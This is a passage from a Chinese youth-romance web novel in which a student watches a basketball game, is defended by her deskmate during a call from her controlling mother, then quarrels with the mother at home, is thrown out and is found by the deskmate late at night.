不愧是傅东远的好大儿,傅叶阳比他准时多了。 傅弦音才下车就看见傅叶阳冲她招手,男生小狗似的跑过来,呲着牙笑嘻嘻道:“弦音姐昨晚睡得很好嘛。” 傅弦音:“考完试了嘛,了心事了。” 见到傅叶阳之前,傅弦音还有些紧张。 她小时候和傅叶阳关系不错,但是这是在两人身份相同的前提下。 自上初中后,傅弦音就再没见过傅叶阳,两人的联系也没了。 刨去六年的时间间隔不谈,光李婵和陈慧梅,还有傅东远这层关系在,两人之间就不可不免地回有一层隔阂在。 只是担忧在好像在见到傅叶阳的瞬间就消散了。 同样的情绪也在傅叶阳身上上演了个遍。 “血缘关系”,这个两人最讨厌的词,在此刻,好像发挥了些奇妙的作用。 这顿饭吃的很开心。 傅叶阳一直叽叽喳喳,傅弦音到最后忍无可忍地塞了个鸡翅到他碗里,语气是非常自然的长姐做派:“快吃,吃饭少说话,容易胃疼。” 傅叶阳笑嘻嘻地吃了鸡翅,话却一点没变少。 傅弦音原本打算如果相处的不融洽她就吃完饭找借口跑路,现在看来这个担忧倒是不会存在了。 傅叶阳神秘兮兮道:“弦音姐,你猜我们现在去干什么?” 傅弦音想了想,给出了个没有新意的答案:“看电影?” “不是!” 见她没猜对,傅叶阳幼稚地高兴起来,他拉着傅弦音上了车,道:“那就保密,到了你就知道了。” 车在人民广场边上停了下来。 傅弦音对北川不熟,不知道这是什么地,她跟着傅叶阳踏过一片草地,而后傅叶阳道:“弦音姐你等我下,我去换个衣服。” 换衣服? 傅弦音不知道这小崽子要憋个什么大的,直到看见他穿着球衣走出来。 “怎么样,没想到吧。” 傅叶阳看着傅弦音有些讶异的神色,满意道。 傅弦音确实没想到傅叶阳会拉她来看他打球。 来都来了,傅弦音拿着傅叶阳的包和水,在他们队观众席前排找了个位置坐下了。 丝毫没注意,在另外半场,两道熟悉的人影。 几乎是傅弦音落座的瞬间,顾临钊就看见了她。 他第一反应还以为自己眼瞎了。 见他没动静,旁边的林安旭扔了球过来,问道:“钊哥,愣什么呢?” 林安旭顺着他视线看去,惊讶道:“美女姐姐?她不是说没空吗?不会是要给我们一个惊喜吧。” 旁边给两人送水的程昭昭无语地捏眉心:“你看看音音坐的那个位置,像是来给你们惊喜的样子吗?” “她就不是来看你的,省省吧林安旭,有点逼数我求你了。” 她话音刚落,三人就看见穿着附中队服的男生走到傅弦音边上,傅弦音自然地给他递水,而后似乎是嫌热,把衬衣外套脱了,露出内里单薄的吊带。紧接着,她从包里翻手机,男生就顺手接过她手里的外套。之后傅弦音似乎是说了什么,男生弯下腰,双手撑着膝盖,两人四目相对,离得很近。 顾临钊看到这就没再看了。 林安旭个缺心眼丝毫没意识到有什么,还在发出危险言论:“姐跟附中那小子看起来还挺熟啊,那小子还玩美女姐姐的手机。” “是她弟弟。” 一直沉默的顾临钊忽然冷不丁冒出来这一句。 林安旭惊讶:“你怎么知道,美女姐姐跟你说过?” “不是。” 顾临钊面无表情,手腕一翻,篮球在空中划过一道弧线,丝滑地进了篮筐。 “是我现在,只想接受这一种可能性。” 19. 同桌 傅弦音抱着外套刷手机,丝毫没注意到隔壁半场熟悉的三个身影。 一中半场这边,林安旭一个劲鼓动顾临钊过去打个招呼:“钊哥,走啊,好不容易碰上,去打个招呼啊。” 顾临钊手里的篮球转了无数个圈,人愣是没往附中的方向迈一步。 程昭昭终于看出点不对劲,一个劲地扯林安旭衣角。 奈何林安旭在这方面是个脑子都没的,他一头雾水:“不是,你扯我干嘛?你不想过去打招呼?” 程昭昭叹了口气,终于放弃提点林安旭这个傻逼,把水往林安旭怀里一塞就骂骂咧咧走了。 林安旭丈二和尚摸不着头脑:“不是,你们……” “时间要到了。” 顾临钊终于开口:“中场休息再去打招呼吧。” 林安旭:“哦。” 篮球在顾临钊手里转啊转,他手腕一抬一按,篮球就被漂亮地扔进了篮筐。 林安旭彩虹屁吹个不停,看台上不少小姑娘爆发出一阵一阵地惊叹。 但顾临钊的视线还是时不时往附中那边瞟。 心里莫名地烦。 顾临钊甚至都不知道自己是在烦什么。 裁判吹哨,哨声尖利又刺耳,顾临钊扔了球,吐出一口气,往中线集合。 被尖锐哨声叫回魂的还有一个人。 傅弦音正在看台上现补篮球基本知识,脑袋就被尖锐的哨声穿破。 她皱着眉揉了揉耳朵,有点后悔坐在第一排,正想偷偷摸摸换到后面,余光忽然在对面半场看到了两个熟悉的身影。 记忆被唤醒: “姐,明天我们约了场篮球赛,姐你感兴趣不?或者打完球咱一块去吃个饭也成。” “明天不行哎,明天我和人提前约好了,没有时间。” 她“啧”了一声。 早知道这么巧,她昨天就不拒绝林安旭了。 她正犹豫着等会要不要过去对面半场打个招呼送个水,又怕找不到合适的时机,忽然,她看见了看台上的程昭昭。 傅弦音给程昭昭发微信: [昭昭,你也在球场呀!] 程昭昭秒回: [你看到我啦!我刚才给林安旭他们送水的时候就看到你了,我们准备去给你打招呼来着,但是比赛开始了就没去。] [你和附中那边的人认识呀?] 傅弦音犹豫了一下自己和傅叶阳的关系,最终挑了个泛性的“朋友”给涵盖了: [嗯,我有个朋友在附中,今天拉我过来看他打球。] 程昭昭: [喔,那音音你还蛮喜欢看球的嘛。] 傅弦音:…… 该怎么说其实她连规则都搞不太懂。 正组织着语言,尖锐的哨声再次响起。 傅弦音抬头,就看林安旭从人堆中挑起,手掌先一步按上了球。 人群忽地动了。 附中那边有人要去抢断,被林安旭先一步传了球,接球的是顾临钊,少年接到球的瞬间原地起跳,在离三分线都还有些距离的地方将球投了出去—— 傅弦音的目光紧紧跟随着那颗球。 砖红色的篮球在蔚蓝的天上画出一道弧线,精准地落入了篮筐中。 看台上爆发出一阵尖叫。 傅弦音甚至还能听见林安旭穿透力极强的声音喊:“卧槽钊哥牛逼!” 篮球从篮筐中落下,附中的人抢到了篮板。 那人速度很快,林安旭没防住,很快就带着球到了一中的篮筐下。 在起跳准备灌篮的瞬间,球被林安旭打下。 然而下一秒,附中另一个人抢到了球,他将球扔给了外围的傅叶阳,傅叶阳原地跳起,投了一个漂亮的三分球。 亮黄色的身影冲着傅弦音挥挥胳膊,傅弦音也冲他笑着挥了挥手。 整个第一小节,连林安旭都察觉到顾临钊打球打得比平时狠。 这人抢到球就投篮,三次里面两次都能命中,第一小节刚结束,顾临钊一个人就拿了13分。 附中暂时落后,但不知是才第一个小节,还是傅叶阳这人心态就是好,他下场休息时还笑嘻嘻的地冲傅弦音道: “弦音姐,怎么样,我打的好吧。” “挺好。” 傅弦音拧开水瓶,递给傅叶阳。 傅叶阳故作惊喜:“哇,弦音姐还给我买了水。” 傅弦音:“……戏过了,你们队里买的,我刚顺了两瓶。” 傅叶阳咕咚咕咚灌了好几口:“话说弦音姐,对面打球的人和你好像是一个学校的。” 傅弦音心说何止是一个学校的,那个疯狂投篮的哥就是她同桌。 她把这话和傅叶阳说了,傅叶阳水都不喝了盯着顾临钊看,看到顾临钊转头都不挪开视线。 傅弦音看不下去,上手把傅叶阳下巴掰过来,忍无可忍道:“你还能再明目张胆点吗?” 她越过傅叶阳,视线和远处的顾临钊对视,刚准备伸手打个招呼,就看见顾临钊跟没看见她似的把头扭开了。 傅弦音愣住,紧接着就有点不爽。 不是这人什么毛病? 亏她之前还想着要不要给对方送个水,人家呢,看都不愿意看一眼。 傅弦音不理解了,顾临钊这是因为和附中打比赛而她又坐在附中观众席上,所以连带着她都有了敌意? 小心眼。 她暗暗骂道。 她也扭过头,再没往顾临钊那看一眼。 两分钟过得很快,第二小节再次开始。 篮球规则其实不算很复杂,至少傅弦音在比赛前临时抱的那点佛脚已经足够能让她看懂。 打得最好的两个,一中那边是顾临钊,附中这里是傅叶阳。 只不过顾临钊和林安旭配合得好,两人认识得久,默契也足,相比之下,傅叶阳的队友就有点给他拖后腿了。 第二小节结束,附中比一中落后了十三分。 附中那边紧急调整战术,傅叶阳没时间来找她,过来拿了水就过去了。 傅弦音犹豫两秒,还是拎着两瓶水去了一中那。 看在顾临钊帮她化学的份上,她低低头就低低头好了。 “音音!快来!” 程昭昭冲她招手,傅弦音小跑两步,在程昭昭身边坐下。 林安旭眼尖,看见了傅弦音手里拿着的两瓶水,笑嘻嘻地摊开手:“美女姐姐这是专门给我们送水来了,谢谢啊。” 傅弦音笑了一下,把水递给他。 顾临钊在旁边看了半天,还是忍不住道:“没我的?” 傅弦音冷哼一声,正打算把另一瓶水递过去,一道磕磕绊绊的女声响了起来:“顾、顾临钊,我刚才去买了水,给你。” 宋瑶歌抱了一瓶运动饮料,一瓶矿泉水,还有一杯杨枝甘露。 她看着顾临钊,将三瓶一起递到他面前。 傅弦音递水的手顿在半空。 凌乱的脚步声由远及近,傅叶阳咋咋呼呼的声音灌进她耳朵:“弦音姐,我的水——” 傅弦音立刻就要收回胳膊,然而面前的男生速度比她还要快几分—— 顾临钊伸手握住了她的手腕,阻挡了她想要收手的动作。 而后,他另一只手从她手指下紧贴着攥住那瓶水。 傅弦音掌心被迫包裹住他的手背。 塑料水瓶被捏得嘎吱作响,顾临钊从她手下拿下了那瓶水。 他拧开盖子,喝了一口,而后看向宋瑶歌,声音平淡:“谢谢,不过不用了。” 宋瑶歌咬住下唇,三瓶水就被她这么举着,给也不是,收也不是。 她眼眶盛慢泪水,而后抬眼看着傅弦音。 傅弦音被这委屈巴巴的眼神盯得心里发毛。 她皱了皱眉,却忽然间宋瑶歌嘴唇动了动,似乎是想说什么,然而却又转身跑开了。 她被搞得有些莫名其妙,不爽地看了眼站在旁边的人。 顾临钊一副置身事外的样子,悠闲地喝着从她手下抢过来的那瓶水。察觉到她的视线,男生垂了垂眸子,轻笑一声:“瞪我做什么?” 傅弦音白他一眼:“你说呢?” 罪魁祸首还好意思说。 顾临钊拧上瓶盖,看见逐渐跑近的傅叶阳,慢悠悠道:“不是你说你报复心强的么?” 她这话说得没头没尾,傅弦音却听明白了。 她刚要说什么,肩膀被人拍了一下,傅弦音回头,是傅叶阳。 他笑嘻嘻:“弦音姐,我的水呢?” 傅弦音指了指附中看台:“那呢,我没拿过来。” 傅叶阳“喔”了一声,忽然伸出手,对顾临钊道:“你好,我叫叶阳,是弦音姐朋友。” 顾临钊伸手和他碰了碰,道:“我叫顾临钊,是傅弦音……同桌。” 一个是朋友,一个只是同桌。 顾临钊垂下眸子,忽然有点烦。 哨声响起,中场休息即将结束,傅弦音和程昭昭打过招呼,就和傅叶阳一起回了附中看台。 附中新调整过的战术还是有用的,第三小节结束,他们追了7分回来。 两队现在只差6分。 两分钟休息结束,第四小节开始。 一中率先拿到主动权,林安旭跳球抢到了球,带着球过了好几个人,直接到了附中半场。 他将球传给顾临钊,顾临钊手腕一翻,接过林安旭传来的球。他身子刚刚直立些许,面前的人赶忙抬手要挡。 然而下一秒,顾临钊灵活地绕开了他,又将球投给了已经跑至篮筐下的林安旭。 林安旭一个灌篮,扑通一声,砖红色的篮球越过篮筐。 打了半个多小时的球,高强度运动之下,球员额间都凝了层汗水。 顾临钊的额前碎发被汗水打湿,他掀起球衣抹了一把,球衣下T恤的一角被带起,腹部肌肉轮廓一闪而过。 看台爆发出一阵小小的欢呼声,而顾临钊本人浑然不觉,注意力没有被影响半分。他盯着附中抢下的篮板,抓住机会上去截断。 蓝色的球衣迎着风,勾出少年劲瘦的身形。 额间的汗珠低落,手上的篮球似是有了灵般顺从。 傅弦音从没想过自己这么喜欢看球赛。 满场少年浑身活力,在斜阳中奔跑跳跃 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傅叶阳挤出个笑,冲傅弦音挥了挥手,而后背上书包跑走了。 傅弦音不是一个共情能力很强的人,但是此刻她却觉得,没人比她更理解傅叶阳。 李婵就像陈慧梅,那通电话就是将他们从天堂拽回地狱的牵引索。 傅叶阳的身影消失在远处,傅弦音眨了眨眼,忽然有点难过。 “别看了。” 头顶一道声音响起,顾临钊敛眸看她:“人都跑没影了,还看呢?” 他心里有些怪异的情绪滋长。 叶阳走了之后,傅弦音的眼睛就好像粘在他身上了一样,恨不得连眨眼都不舍得眨。 朋友。 普通朋友的话,会这样吗? 傅弦音收回视线,仰头看向顾临钊。 她没说话,顾临钊也没说话。 少年背后是暖色的阳,微风吹乱她耳边碎发,也吹得蓝色球衣轻轻舞动。 两人就这么静静对视着。 好像球场的喧闹,人声的嘈杂都与他们无关。 半晌,傅弦音低声道:“恭喜啊班长,比赛赢了。” 顾临钊嗤笑一声:“你这话说的怎么这么不走心,不想祝贺不用非得祝贺。” 傅弦音“啧”了一声,终于忍不住:“不是我说你今天吃错药了吗?怎么这么小心眼呢你。” 顾临钊扯了扯嘴角。 傅弦音没看到。 因为放在腿上的挎包突然开始振动,傅弦音摸出手机,看见另一个李婵给自己打了电话。 陈慧梅三个字在手机屏幕上被放大,黑色的手机屏幕像是旋涡,将傅弦音吸进了那个名为陈慧梅的洞。 傅弦音深吸一口气,接了电话。 电话那头,陈慧梅的声音很冷:“你不在学校,国庆放假也不回家,傅弦音,你不好好待着学习,又去哪了?” 傅弦音:“昨天刚考完试,今天和朋友约着出来玩。” “出来玩?!”陈慧梅的声音忽然变得尖利,像是柄利刃,要将傅弦音脑袋刺穿:“傅弦音,你都高三了,你还出来玩?!我让你转来一中复读是让你和混混出来玩的?你同桌不是班长吗?你不和好学生一起天天净和一群不三不四的人厮混!你还想不想高考了?你今年高考什么情况你自己心里没数吗?你明年还想就拿着这点分和傅叶阳比是吧?你拿什么和人家比啊!” 陈慧梅越说越激动:“你把手机给你朋友,我倒要看看是什么不三不四的人带着你鬼混!” 傅弦音:“他们走了。” 陈慧梅:“撒谎!傅弦音,你在哪,我问你你现在在哪,我现在就来找你,我倒要看看——” 陈慧梅的声音戛然而止。 不、不是戛然而止。风中还有陈慧梅稀碎的尖叫。 是手机突然被人拿走了,是陈慧梅的声音忽然离开她的耳朵了。 傅弦音愣愣抬头。 指尖顾临钊修长的手指拿着她的手机,声音平缓温和:“阿姨您好,我叫顾临钊,是傅弦音的同桌。” “是我叫傅弦音出来玩的,嗯,不止我,还有一个男生和一个女生。昨天刚月考完,我们出来放松放松。” “傅弦音学习很努力,进步也很大。阿姨您不用担心,傅弦音是个非常优秀的同学。” “是真的,她很优秀,我们都这样认为。” 陈慧梅的怒气好像渐渐平息了,傅弦音听不见陈慧梅的嘶吼了。 顾临钊的表情和语气一如既往的温和。 他还在和陈慧梅说些什么,但傅弦音已经什么都听不到了。 她仰头看着他。 这个人怎么做到的。 这个世界上。 怎么会有。 这么善良的人啊。 耳朵好像又能听见声音了 傅弦音眨眨眼,看见顾临钊拿着她的手机,递到她面前。 她接过手机,忽然听见头顶少年轻笑一声,而后揶揄道: “傅弦音,你看别人打球,拿我当挡箭牌啊。” 20. 狼狈 顾临钊觉得自己好像是有什么大病。 明明上一秒还在小心眼地犯犟,下一秒听到电话中传出的声音,看着面前的少女一点点蔫下去,他就忽然有那么股克制不住的冲动,要帮她。 动作比脑子更快一步。 等他反应过来,他手里已经拿着傅弦音的手机,温和地和电话对面的人沟通。 打完电话,他看见面前的人仰着精致的小脸,就这么呆呆愣愣地看着他。 他伸出另一只手,在女孩鼻尖处啪地一声打了个响指,说道: “回魂了。” “哦。” 顾临钊看着她点了点头,接过手机又塞回小挎包。 算了。 顾临钊和自己妥协。 有大病就有大病吧。 “音音——” 程昭昭的呼唤由远及近,傅弦音慢半拍地转过头,看见程昭昭一路小跑过来,身后跟着的林安旭手里拎着几杯奶茶,不住叫唤: “姑奶奶你慢点,哪来的这么大精神头啊我说你。” 程昭昭小脸跑得红扑扑,还不忘转头吐槽林安旭:“谁让你太虚,打场球就虚成这样。” “我虚?” 林安旭声调拔高了八度:“不是,你刚才看没看啊,哥抢了多少个篮板,跳到了多少个球,你一点都没看见??” 程昭昭吐了吐舌头,一副老娘宽宏大量不稀罕和你计较的模样。 她从林安旭手里拿了杯杨枝甘露,递给傅弦音,而后把吸管插在自己那个蜜桃乌龙上面,咕咚咕咚喝了起来。 四个人,一共就买了三杯奶茶。 傅弦音指指顾临钊,问:“他没有吗?” 林安旭嚼着珍珠,含糊道:“钊哥?钊哥不爱喝,他说打完球喝甜的糊嗓子。” “事儿多。” 傅弦音喝了一大口杨枝甘露,评价道,而后又看向顾临钊:“那你喝什么?” 顾临钊晃了晃手中的半瓶水,林安旭忍不住道:“不是钊哥,就这么一瓶水你到现在喝不完,你攒它干嘛呢?” 顾临钊也不跟他计较,轻哼一声:“我乐意。” 乐意是祖宗。 傅弦音心道。 “哎对了美女姐姐,刚才跟你一块的附中那个呢,我还说打完球咱可以一块去吃饭看电影什么的。” 林安旭看着空旷的球场,道。 “他有点事,先回家了。” 傅弦音道。 “啊,我还觉得这小子球打得挺好,还说回头再约一场呢。” 林安旭道。 傅弦音正打算嗯嗯啊啊应几句,下一秒,林安旭的话吓得她差点把手中的杨枝甘露都扔了。 他说—— “钊哥还说这小子是你弟,我说姐你哪来的弟弟,我还准备跟他赌叶阳到底是你朋友还是你弟弟,结果快开场了就没赌,哎,亏了亏了。” 傅弦音满脸惊悚。 她身上那根属于傅东远的基因在她长相上就出了很小一部分力。单从长相来说,不仔细看完全不会觉得她和傅叶阳相似。 顾临钊是盯着他俩认真做了个人脸比对还是真他妈纯瞎猜的。 如果是瞎猜,这哥要么是个半仙要么是嘴开过光。 猜得有点他妈准到离谱了。 傅弦音没说话,耳边是林安旭一个劲的逼逼叨叨,她的盯着篮球架下的一颗螺丝,心早就飞到了十万八千里外。 她叼着吸管喝饮料,不知过了多久,顾临钊伸手在林安旭脑袋上来了一下,道:“站着光合作用呢?吃饭去。” 傅弦音才回过神。 程昭昭问她想吃什么,傅弦音有些抱歉的笑笑:“我临时有点事,我妈让我回家一趟。” 林安旭和程昭昭肉眼可见蔫了蔫。 只有顾临钊皱起眉头,他似是想说什么,但最后说出口的也只有一句: “路上小心,到家了群里回个信。” 傅弦音点点头。 程昭昭说:“音音你家在哪啊,不远的话我们送你过去呗?” “在……”傅弦音看了眼地址,道:“翡翠湾,有点距离,没事,我打好车了,你们吃饭去吧。” 车还有2分钟到,刚好够她走到停车点。 她冲三人挥挥手。 林安旭看着傅弦音的背影嘀咕:“姐这背影壮烈的,看着不像是回家,倒像是奔刑场。” 顾临钊心道,可不是吗。 和刑场估计没差了。 傅东远在北川给陈慧梅娘俩找了个三室一厅住,布局和临澜的家差不多,小区也是高档的,离市中心有点距离,周边环境到算得上是安静。 只不过傅弦音心里清楚,傅东远一个月也不一定能回上一次家。 小区门禁很严,出租车进不去,傅弦音在门口下了车。 陈慧梅绝对不可能出来接她,傅弦音压根就对陈慧梅没这个指望,她拿出手机准备导航,微信弹出一条消息。 是她善良博爱似圣父般的同桌。 顾临钊: [路上小心,有事给我打电话。] 不光善良,还顾及她的自尊心,怕程昭昭和林安旭在边上说不好,还专门给她悄咪咪发微信。 傅弦音回了个OK,想了想,又点开四人小群,在群里发了个我到家啦。 小区内部弯弯绕绕,傅弦音走了十多分钟才走到楼下。 她坐上电梯,敲开了那扇门。 陈慧梅开门时满脸疲惫。 傅弦音还没说话,她就劈头盖脸问道:“你月考成绩什么时候下来。” 傅弦音挂好包,道:“一个星期后。” “一个星期?”陈慧梅盯着她:“这么久?你是不是撒谎了,你等着,我现在就给你班主任打电话。” 傅弦音坐在沙发上,她麻木地看着陈慧梅掏出手机,拨通了高颖的电话。 她没法跟陈慧梅讲那些诸如,现在是放假时间,给班主任打电话很麻烦她,之类的道理。 陈慧梅不光不会听,还会反过来把她骂一顿,骂她不知上进,骂她不体谅她的良苦用心,骂养她这么多年养了个喂不熟的白眼狼。 电话响了两声就接通了,高颖的声音听起来有些惊讶:“弦音妈妈,怎么了,找到弦音了吗?” 陈慧梅丝毫没管高颖的疑问,只顾输出自己的问题:“高老师,我想问下这次月考的成绩多久能出?” 高颖那边顿了顿,道:“大概一周后,国庆老师也会放假,所以改卷没有那么及时。” 陈慧梅得到了想要的答案,说了句“谢谢老师”,就把电话挂了。 明明是空荡的四室两厅,装修也宽敞明亮,傅弦音却觉得窒息,甚至有点喘不上气。 陈慧梅挂了电话就去了厨房,端出一碗排骨汤。排骨汤已经盛出来有一阵了,上面凝了层厚厚的油,玉米在碗里半浮不浮的飘着,凝固的油脂挤在玉米粒的缝隙中,看得傅弦音忽然阵阵反胃。 傅弦音接过排骨汤,低声道了句:“谢谢妈。” 陈慧梅催促道:“快喝吧,妈专门熬的。” 傅弦音盯着碗里的油星,耳边再次响起陈慧梅的催促:“怎么不喝?妈专门给你盛的,你知道这排骨汤妈熬了多久吗?” “妈一早就给你盛出来凉着,现在温度正好,快把汤喝了,然后去复习。昨天刚月考完,那些地方记得不够熟练刚好趁着假期补一补。” 傅弦音不再犹豫,屏住呼吸,将排骨汤一口气全都灌了进去。 凝固的油堵在她嗓子眼和上颚,顶得傅弦音一阵阵恶心。 “把排骨和玉米吃了。” 陈慧梅继续要求。 傅弦音机器似的啃着排骨和玉米,直到碗里只剩了点骨头和玉米核,陈慧梅才满意地露出笑容。 “快去学习吧,碗放着,妈收拾。” 她絮絮叨叨:“月考结束了也不能放松,别人是别人,你是你。傅叶阳暑假几个月可是一点没落下学习,你倒好,一点习没学。” “你这种不自觉的,就得让老师盯着,指望你自己根本没用。你老师同学不了解你,我还不知道吗?你从小就笨,要不是我天天提溜着你,你连个高中都考不上。” “到现在了,高三了,还想着和朋友出去玩。人家傅叶阳这时候肯定在家好好学习呢,你别忘了你今年高考是怎么……” “别说了!” 数落一句句砸到傅弦音耳朵里,她红着眼圈,崩溃地看向陈慧梅: “什么叫我别忘了,我忘什么了,我做什么了!” “明明是你,是你今年不许我去参加高考,是你逼着我再来复读。” “陈慧梅我告诉你,我从小到大所有的一切成绩都是我自己努力的缘故,你只会给我添堵,你只会给我帮倒忙!” 陈慧梅将手中的碗一摔,吼道:“我做的这一切还不是为了你!” 她丝毫没有觉得自己的做法有问题,理直气壮道: “我不让你高考是为了你好,就你这一年的学习,你能考几分?你怎么去和傅叶阳竞争?是我多给了你一年的时间,你不感恩我就罢了,你竟然还觉得是我的错!?” “不可理喻,你简直不可理喻!” 陈慧梅尖叫着,她发了疯般扯掉了茶几上的桌布,玻璃果盘碎了一地。 傅弦音看着她,忽然一阵止不住的反胃。她踩过一地碎玻璃,跑到卫生间就开始吐。 胃里吐了个干净,傅弦音满眼红血丝,陈慧梅跑过来,阴沉着脸,拽着傅弦音的领子强硬道:“你给我起来,你吐什么,你为什么突然会吐,你是不是怀孕了?才转学没多久你就和男生搞在一起,你果然是傅东远的女儿!你身上流着他的血!你和他一模一样!” 傅弦音被拽得站不稳,她看着陈慧梅,忽然笑了:“你不是喜欢傅东远吗?你不是爱傅东远吗?我像他不是好事吗?” “不过你说错了。”傅弦音整了整被陈慧梅扯歪的领子,看着陈慧梅,说出了自己能够对自己生理上的母亲说出的最恶毒的话: “我如果真的怀孕,那我不是像傅东远,我是像你。像你一样没有道德,像你一样不知廉耻,像你一样年纪轻轻因为一个傻逼把自己这辈子都搞砸!然后变成一个只会发疯的疯子,一个彻头彻尾的神经病!” 她几乎是吼着说出了最后一句话。 空气中的氧气好像渐渐变少,傅弦音按着洗手台才能让自己勉强站稳。 “滚!你个白眼狼,你个王八蛋,给我滚!滚出这个家!” 嘭—— 大门被关上。 隔绝了陈慧梅的嘶吼。 傅弦音拎着小包,漫无目的地游荡着。 她不知道自己应该去哪,也不知道自己可以去哪。 她花了很多年的时间说服自己,她不能对陈慧梅有任何的期待。 可是亲缘关系剪不断 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手机屏幕亮了一会就自动灭了,傅弦音保持着同一个姿势坐在马路边。她仿佛感知不到时间的流动,也感知不到外界的变化。 不知过了多久,手机屏幕再次亮起。 顾半仙发动了他的半仙技能,运用准确的预知技巧给她又发了条微信: [在家待着的吗?] 傅弦音打了几个字,又删掉了。 正打算装没看见,一个电话忽然打了过来。 傅弦音手忙脚乱地点了接听,顾临钊的声音从听筒传来: “这么晚了,真不在家?” 傅弦音扯了个谎:“不在,在宿舍。” 本以为这个话题就这么被揭过去了。 谁知下一秒,顾半仙带着几分笑意的声音敲得傅弦音一个激灵: “国庆放假,你回家那个点校门就快关了。” “你又翻墙了?” 又这个字就很有灵性。 傅弦音脑袋钝钝的,她反应慢半拍地开口:“你骂我呢?” 顾临钊干脆利落否认:“没有。” 他收了笑意,认真问到:“真的在学校吗?傅弦音,现在半夜十一点了。” 傅弦音有点惊讶:“十一点了?这么快啊。” 顾临钊:“……” 他心中忽然有种不祥的预感。 傅弦音现在的状态听起来,和两周前在临澜的那个周末有些像。 甚至比在临澜的时候还要…… 恍惚。 顾临钊脑子转了半天,最后冒出来的这个形容词给他自己都吓了一跳。 电话那头,傅弦音声音不大,语气不像是在和他说话,到像是自言自语: “那我现在如果回宿舍,好像也不太行。” “回家吗?好像也不太行。” 顾临钊抓住她话里的关键词:“你不在宿舍?” 这次傅弦音倒是正面回答了他的问题:“不在,在小区里面瞎逛。” 他拿起手机打了个车,而后嘱咐傅弦音:“我去找你。” 他做好了傅弦音反问他为什么去找她的准备,脑子里预想了一堆解释,没想到傅弦音少见地没问那么多为什么,只是乖乖地应道: “哦,好。” 不是傅弦音不想问,而是她的大脑好像锈住了,根本没办法转。 顾临钊的话像是一缕风,在她脑子里溜了一圈就出去了,完全没有给她留下思考的时间。 不过,他说要来找她。 小区进不来车,那她去大门口好像方便点。 这是傅弦音锈住的脑子目前能做的最复杂的思考了。 她转到小区大门,在大门口坐下,膝盖撑着胳膊,托着腮,看着来来往往的车。 顾临钊老远就看见她了。 女孩乌黑的发有些凌乱地散着,纤细修长的双腿屈起,原本整洁的衬衫沾了几道灰,领口处一片褶皱。 走近一看,顾临钊眉头都皱起来了。 傅弦音脸色白得吓人,嘴唇还有几道小小的破口。眼底的红血丝几乎包裹了整个眼球。 他在傅弦音身边坐下。 马路上车辆飞驰呼啸而过,风吹得路旁的树发出沙沙碎响。 两个人就这么肩并肩坐着,意外的和谐。 半晌,顾临钊开口:“想去哪?” 傅弦音脑子清明了不少,听见顾临钊的话突然噗嗤一下笑出声。 她歪着脑袋,笑意给脸上添了几分活气。 她说道:“班长,你有没有觉得这个场景有点熟悉。” 说完,傅弦音有些苦恼似的叹了口气:“怎么我每次碰到你,都这么狼狈啊。” 第一次是在学校门口抽烟解闷。 第二次是在澜河边扮演失足少女。 这一次直接有家都回不去,活脱脱成一离家出走的叛逆青年。 严重程度还是递增的,挺有规律。 风把她头发吹起。 傅弦音手忙脚乱地理着长发,耳边传来顾临钊有些无奈的声音: “是啊,我也在想,怎么每次都能看到我同桌这么可怜。” “可怜到就总觉得,得来管管她。” 21. 门禁 傅弦音理头发的手一顿。 她缓慢地转头,对上了顾临钊的视线。 对方声音带着点温和的笑意,眼里却没有什么开玩笑的意思。 他很认真,眼里的光快把傅弦音灼伤。 傅弦音慌乱地移开了视线。 阴暗的老鼠看见阳光下的动物总是忍不住躲避,生怕自己脏污的皮毛会被纯粹干净的光亮灼伤。 傅弦音觉得自己现在就是如此。 她是生活在阴沟理的老鼠,是即将要和陈桂梅一样变成疯子的神经病。 而她同桌。 是这个世界上最阳光善良热心肠的顾半仙。 顾半仙站起身,拍了拍裤腿上的灰,又朝她伸出了胳膊。 她抓住了那只手。 像是给了自己一个力量,又像是给了自己一个希望。 阴沟里的老鼠,短暂的呼吸一下新鲜空气,也是可以的吧。 她想。 傅弦音带着顾半仙去了刚来北川住的那个酒店。 傅东远看起来是那家酒店的VIP,傅弦音猜傅东远在那家酒店会有一个长期房。 赌狗又开启了她的新一轮赌。 但是这次赌狗觉得自己能赢。 她身边可是带了个顾半仙呢,半仙的力量,不容小觑。 赌狗带着半仙,在酒店前台站住。 半仙懒洋洋地靠在前台旁打哈欠,赌狗则在便签上写下了傅东远的名字。 前台姐姐微笑道:“好的女士,我帮您查一下。” 过了一会,前台姐姐叫来了经理,经理则给傅东远的秘书打了个电话核实傅弦音的身份。 得到肯定回答后,经理笑着给了傅弦音一张房卡,正要领她上楼,傅弦音忽然说:“不用了。” 她转头看着顾临钊,问道:“你要回家吗?” 顾临钊:“想去哪就说。” 傅弦音:“……” 她略有些艰难的为自己辩解:“不是,我没想去哪,真的。我就只是想问问你回不回家,回家的话让酒店前台人送你回去,大晚上的了麻烦你这么久……” 她还没说完就被顾临钊打断:“要是不回家呢?” 傅弦音:“我想吃点东西。” 便利店,傅弦音啃着饭团,喝着关东煮的汤,再三确认顾临钊家里没有门禁。 “真没有。”顾临钊叹了口气:“你有没有想过,有门禁的话我连出都出不来。” 他帮傅弦音把关东煮吃完的签子拿出来收好,说道:“我是男生,从小在北川长大,又这么大了,晚上晚点回去家里人也不会担心。” 傅弦音喝着汤被呛了一口。 “慢点。” 顾临钊无奈地拧开水递给她。 傅弦音心情有点复杂。 她说的门禁和顾临钊说的好像不是一回事。 她……完全没有想到门禁的重点是家里人会担心。 阴沟里的老鼠看见阳光下的小狗喝着自来水,它担心小狗会不会被人骂糟蹋自来水。 小狗摇摇头,说:“不会的,我都这么大了,喝点自来水不会影响健康的。” 傅弦音一共吃了三个饭团两份关东煮外加一个小蛋糕。 顾临钊:“你晚上真的吃过了?” 傅弦音咬着鱼丸,道:“当然了。” 虽然都吐了。 但只要是进嘴咽了,不管结果如何,在傅弦音这都算吃了。 肚子被热腾腾的食物填饱,傅弦音精神状态也好了些。 她伸了个懒腰,感觉自己又能再装一阵活力四射的女高中生。 顾临钊看着傅弦音面上稍微添了几丝血色,问道:“还想去哪。” 傅弦音神色复杂地看了顾临钊一眼。 这个时间,这个地点,再加上这个哥的语气。 傅弦音觉得他大有一种豁出去舍命陪君子的感觉。 她不是君子,她可要不起这条豁出去的命。 傅弦音把垃圾收拾好,扔掉,说道:“想睡觉,你和我走回去吧,让酒店的人把你送回去。” 傅东远花了那么多钱,送个人的特权还是有的吧。 从便利店出来已经是接近凌晨一点。 这个点了,又是放假,原本熙熙攘攘的北川一中现在只有零星几个路人。 